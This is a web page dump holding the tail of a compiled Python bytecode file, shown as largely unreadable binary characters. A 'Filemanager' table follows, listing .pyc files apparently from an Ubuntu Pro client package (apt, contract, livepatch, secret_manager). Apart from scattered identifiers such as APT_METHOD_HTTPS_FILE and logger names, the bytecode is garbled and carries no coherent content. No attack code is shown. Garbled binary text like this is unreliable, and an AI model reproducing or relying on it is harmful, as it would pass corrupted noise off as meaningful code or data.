�APT_METHOD_HTTPS_FILE�CA_CERTIFICATES_FILErmrrryrr	rLrRr�rT�get_event_loggerre�	getLogger�replace_top_level_logger_namer rV�unique�EnumrrXr*r;r@rkryr�r�r�r�r�r��boolr�r��retryrr�r�r��Packager�r��Versionr�rrr#rr<r?rCr,rQrSrWrZrVr%rp�floatrwr{r�r�r�r�r�r�r�r�r�r�rr(r)�<module>r�s��������	�	���&�I�I�I��-����.�8���*��)��3��+��
�� K�� L��?��A��)��$��4��9��G�� L��)��@����	�����_�&<�=�
�����_�&;�<��
	�����_�&:�;�
�����_�&=�>�
�����_�&F�G�
�����_�&A�B�	���"���%�%�'��
����:�:�8�D�E������D�I�I��
��
!��V�S�M�I�s�+;�f�c�]�K���
��)�s�)�s�)��)�'
�T#��#���X�#�P $�26�(�	
�c��(���}�(� ��S�#�X��/�(�	�	(�V�4��#�26����}����S�#�X��/��	������.��0
�c�
�h�s�m�
�,1�)��)�$(�)�
�c�]�)�Z37����S�#�X��/����.����'�'��)C�)C�D���#/�3�#/�	�#/�P(,�26���3�i���$�s�)�$�� ��S�#�X��/��	�	�0�S��T�'�/�/�5J����S�M��	�'�/�/���0?C��
�_�_��.6�s�m��	�'�/�/���&���I��"��59��EH����@"�
���I�������	�
���
�	��@7.��7.��7.��7.�
��I�	7.�
�7.���9�
7.�
�7.�t,G�^B�2#'�	,��,��,���9�,��3�-�	,�

�,�*
4�-��,(�1�c�1�d�1�
��%8� 9�
� �d�3�i��!%�!%�+8�+?�+?�5A���
�5A��#��5A��-�(�5A�
�	5A�p�H�U�O���h�u�o��N���):�):� ;�N�7�*BP�J�4��9��S��0�$�s�)��C��0�d�3�i��2�����}��	�#�u�S�$�s�)�^�$�
$�%��,��r(

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager